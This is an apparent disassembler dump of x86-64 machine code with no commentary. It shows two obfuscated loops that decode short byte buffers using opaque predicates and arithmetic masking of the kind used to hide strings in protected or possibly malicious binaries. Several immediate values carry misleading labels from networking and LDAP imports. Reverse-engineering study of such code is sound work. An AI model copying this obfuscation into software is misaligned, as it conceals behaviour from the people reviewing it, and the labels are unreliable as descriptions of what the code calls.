movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140099f71
movzx ebx, byte [rbp + rdi + 0x928]
mov r11, rbx
cmp r8, rdi
ja 0x140099f65
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009927a
lea rcx, [rdi + r12]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x34
jmp 0x1400992a7
je 0x140099ed9
lea rax, [r9 + 3]
cmp r8, rax
je 0x140099e3d
lea rax, [r9 + 5]
cmp r8, rax
je 0x140099dda
lea rax, [r9 + 7]
cmp r8, rax
je 0x140099d8c
cmp r9, rdi
ja 0x140099f59
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400992dc
lea rdx, [rdi + rsi]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140099310
lea rax, [r9 + 1]
cmp r8, rax
je 0x140099d65
inc rax
cmp r8, rax
je 0x140099d37
lea rax, [r9 + 4]
cmp r8, rax
je 0x140099d0f
lea rax, [r9 + 7]
cmp r8, rax
je 0x140099cea
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14009996e
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140099946
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009991a
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400998ec
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400998c9
lea rcx, [r9 + 6]
cmp r8, rcx
je 0x1400998a6
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009986e
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009984b
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140099823
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400997ef
lea rax, [r9 + 5]
cmp r8, rax
je 0x140099320
mov r8, rcx
lea r9, [rcx + 8]
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x140099f36
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x140099f0e
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x140099514
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1400994fa
lea rcx, [r9 + 5]
cmp r8, rcx
jb 0x1400994db
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14009979a
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14009973d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400996e9
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400996bb
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140099320
mov r8, rcx
lea r9, [rcx + 6]
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x140099687
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x14009965f
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x14009963c
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x140099604
lea rcx, [r9 + 0x40]
cmp r8, rcx
ja 0x1400995e1
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400995be
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140099590
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140099564
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14009953c
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140099320
mov r8, rcx
lea r9, [rcx + 5]
jmp 0x140099320
lea rdx, [rdi + r14]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140099310
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2c
jmp 0x1400992a7
movabs rdx, 0xd471ea892bfcafcc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140099244
movabs rdx, 0xcf7cb216caa68b20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140099daa
movabs rcx, 0x89f829dfa9c30978
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x48
inc r9
dec rdi
inc rdi
jmp 0x140099232
movabs rdx, 0x4473a1a888df87d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x140099232
movabs rcx, 0xfeef197167fc0628
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x18
jmp 0x140099dfc
movabs rcx, 0xb96a913a47188480
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
jmp 0x140099e25
movabs rdx, 0x73e60903263502d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140099232
movabs rcx, 0x2e6180cc05518130
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x50
jmp 0x140099e64
movabs rdx, 0xe8dcf894e46dff88
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140099e95
movabs rcx, 0xa358705dc38a7de0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
movzx eax, byte [rbp + rdi + 0x928]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140099232
movabs rcx, 0x758d1bd3f151b9bc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x24
mov byte [rbp + rdi + 0x928], r10b
inc rdi
jmp 0x140099232
movabs rdx, 0x3008939cd06e3814
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r9, 0x400
jb 0x1400996d9
movabs rcx, 0xd96722fb8d52d478
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r10d, [rdx + rdx]
jmp 0x140099daa
movabs rdx, 0xea840b65af8ab66c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r8, 0x20
jae 0x140099c98
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x140099b82
movabs rcx, 0x2239d0d4446fc3e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x58
jmp 0x14009970c
movabs rcx, 0xa4ff832e8ea734c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5c
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x140099cc0
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140099aaa
movabs rdx, 0xc84a3a916b1af284
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x140099754
movabs rcx, 0x1b9d859117fce858
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x68
movzx eax, byte [rbp + rdi + 0x928]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140099232
movabs rdx, 0xd618fd59f71966b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140099e95
movabs rcx, 0x90947522d635e508
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
jmp 0x140099e64
movabs rdx, 0x4b0fecebb5526360
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140099232
movabs rcx, 0x58b64b4946ee1b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 8
jmp 0x140099e25
movabs rcx, 0xc006dc7d738b6010
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x70
jmp 0x140099dfc
movabs rdx, 0x7a82544652a7de68
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec rdi
inc rdi
jmp 0x140099232
movabs rcx, 0x34fdcc0f31c45cc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x140099232
movabs rdx, 0xef7943d810e0db18
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140099daa
lea rax, [r9 + 6]
cmp r8, rax
jae 0x14009999a
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400997b8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400999db
movabs rcx, 0xb3df2c85b2a9a2c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x78
movzx eax, byte [rbp + rdi + 0x928]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140099232
inc rax
cmp r8, rax
jne 0x140099a0f
movabs rdx, 0x3ee83cf3f470a618
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140099e64
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140099a44
movabs rdx, 0xc9f14d623637a968
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140099e25
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140099a7a
movabs rcx, 0x54fa5dd077feacb8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 8
dec rdi
inc rdi
jmp 0x140099232
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400997b8
movabs rcx, 0xe0036e3eb9c5b008
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
jmp 0x140099daa
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140099ada
movabs rcx, 0xdcec2c88bfe742c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x34
jmp 0x140099daa
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140099b10
movabs rcx, 0x98d7d336cdc5777c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x64
dec rdi
inc rdi
jmp 0x140099232
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140099b50
movabs rcx, 0x69656bdc306ffc74
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x2c
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140099232
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140099760
movabs rdx, 0xaee9f41351537e1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x140099e61
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140099bc8
movabs rdx, 0x67be590b65534590
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0x928]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140099232
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140099bf8
movabs rcx, 0x7dd079e7e8e14c30
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x50
jmp 0x140099e25
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140099c2d
movabs rdx, 0xc355021f09c4cdd8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140099dfc
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140099c63
movabs rcx, 0x8d98a562aa84f80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x80
dec rdi
inc rdi
jmp 0x140099232
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009970c
movabs rdx, 0x93e29ac46c6f52d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140099daa
movabs rdx, 0x1eebab32ae365620
add rdx, rdi
movzx eax, dl
and al, bl
movzx ecx, byte [rbp + rdi + 0x928]
sub cl, al
add cl, 0x10
lea r10d, [rcx + rcx]
jmp 0x140099df9
movabs rcx, 0x64703369cf19d7c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x928]
lea r10d, [rbx + rcx]
sub r10b, 0x78
jmp 0x140099e64
movabs rdx, 0x408f4fc4bf8d5cfc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x140099e61
movabs rdx, 0xb5863f567dc659ac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140099e25
movabs rdx, 0x2a7d2ee83bff565c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x140099232
movabs rdx, 0x9f741e79fa38530c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x54
add r10b, dl
jmp 0x140099daa
movabs rcx, 0x146b0e0bb8714fbc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x24
movabs rcx, 0x7c2967171dc4954c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x14
add cl, bl
mov byte [rbp + rdi + 0x928], cl
inc r9
dec rdi
inc rdi
jmp 0x140099232
movabs rdx, 0x43dd756655c6cac4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x5c
add r10b, dl
movabs rdx, 0xc1adef4e3ea816f4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r10b
mov byte [rbp + rdi + 0x928], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140099232
mov rbx, r11
movabs rdx, 0x734fdcc0f31c45cc
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rdx, 0x73277855f8b989c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x44
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x928], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xa9f4bba0effd5970
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x10
add bl, cl
mov byte [rbp + rdi + 0x928], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x928]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140099232
movabs rcx, 0xe846cc52b155427c
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
movzx eax, byte [rbp + rdi + 0x928]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140099232
movabs rdx, 0x8eed62520b192e24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140099230
movabs rcx, 0x4968da1aea35ac7c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x64
jmp 0x140099220
lea rcx, [rbp + 0x16d9798]
jmp 0x140099f78
lea rcx, [rbp + 0x9f586c]
jmp 0x140099f78
lea rcx, [rbp + 0x928]
call fcn.140035f00
lea rdx, [0x14021ac50]
lea rcx, [rbp + 0x2e0]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x10]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov rdi, rax
mov byte [rbp + 0x950], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x951], Ordinal_46
mov byte [rbp + 0x952], Ordinal_46
mov byte [rbp + 0x953], gethostname
mov byte [rbp + 0x954], 0x3f
mov byte [rbp + 0x955], 0xdd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x956], xmm0
mov qword [rbp + 0x966], rax
mov dword [rbp + 0x96e], eax
mov byte [rbp + 0x972], al
movabs rsi, 0x99864c071b9c64d7
movabs r12, 0x444358f425e2e03b
movabs r14, 0x10914c90922fc009
movabs r15, 0x880a9aa84669ff93
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009ae18
movzx r11d, byte [rbp + rbx + 0x950]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009ae0c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009a0a3
lea rcx, [rbx + r12]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x63
jmp 0x14009a0e0
je 0x14009ad83
inc rax
cmp r8, rax
je 0x14009ace9
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009ac88
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009ac5e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009ac31
nop dword [rax]
cmp r9, rbx
ja 0x14009ae00
lea rax, [r9 + 6]
cmp r8, rax
jae 0x14009a115
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x1f
add r10b, dl
jmp 0x14009a160
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009abe0
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009abb6
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009ab92
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009ab6e
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009ab39
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14009a7cb
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009a7a7
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009a775
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009a746
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14009a71e
lea rcx, [r9 + 0x20]
cmp r8, rcx
je 0x14009a6fa
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009a6c1
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009a698
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009a674
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009a63f
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14009a170
mov r8, rcx
lea r9, [rcx + 4]
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x14009addc
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x14009adb7
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x14009a355
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x14009a33a
lea rcx, [r9 + 0xa]
cmp r8, rcx
jb 0x14009a31f
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14009a5de
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14009a57c
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14009a530
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14009a501
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14009a170
mov r8, rcx
lea r9, [rcx + 2]
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x14009a4cc
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x14009a4a8
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x14009a47f
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x14009a446
lea rcx, [r9 + 0x80]
cmp r8, rcx
ja 0x14009a422
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14009a3fe
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14009a3cf
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14009a39d
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14009a379
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009a170
mov r8, rcx
lea r9, [rcx + 0xa]
jmp 0x14009a170
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3f
jmp 0x14009a160
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 5
jmp 0x14009a0e0
movabs rcx, 0xff83e8bffaa43f1d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
jmp 0x14009a065
movabs rcx, 0xcc326038dce326b8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x14009abff
movabs rdx, 0x43abae50911d6642
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14009a052
movabs rdx, 0xbb24fc684557a5cc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009a052
movabs rcx, 0x329e4a7ff991e556
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x14009aca7
movabs rcx, 0xaa179897adcc24e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x14009acd1
movabs rdx, 0x2190e6af6206646a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a052
movabs rdx, 0x990a34c71640a3f4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009ad0a
movabs rcx, 0x108382deca7ae37e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
jmp 0x14009ad3d
movabs rcx, 0x87fcd0f67eb52308
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
movzx eax, byte [rbp + rbx + 0x950]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a052
movabs rcx, 0x32ac1431c146c1e1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x27
mov byte [rbp + rbx + 0x950], r10b
inc rbx
jmp 0x14009a052
movabs rcx, 0xaa2562497581016b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x13
cmp r9, 3
jb 0x14009a520
movabs rcx, 0x32d5714718655782
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x1c]
jmp 0x14009abff
movabs rdx, 0x219eb06129bb40f5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x4d
add r10b, dl
cmp r8, 5
jae 0x14009aae2
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14009a9f8
movabs rdx, 0xdd927e3422abd2e6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4a
add r10b, dl
jmp 0x14009a54f
movabs rcx, 0x9917fe78ddf5807f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x79
lea rax, [r8 + r9]
cmp rax, 0x41
je 0x14009ab0e
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14009a90d
movabs rcx, 0x440c322d070f6e0f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x69
jmp 0x14009a59f
movabs rcx, 0x9925c82aa5aa5d0a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
movzx eax, byte [rbp + rbx + 0x950]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a052
movabs rcx, 0x109f164259e49c94
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x14009ad3d
movabs rdx, 0x8818645a0e1edc1e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009ad0a
movabs rdx, 0xff91b271c2591ba8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a052
movabs rcx, 0x770b008976935b32
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5e
jmp 0x14009acd1
movabs rdx, 0xee844ea12acd9abc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x24
add r10b, dl
jmp 0x14009aca7
movabs rdx, 0x65fd9cb8df07da46
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009a052
movabs rdx, 0xdd76ead0934219d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14009a052
movabs rcx, 0x54f038e8477c595a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
jmp 0x14009abff
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x14009a7f3
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x63
jmp 0x14009a5fd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009a83a
movabs rdx, 0x330c980e3738c9ae
add rdx, rbx
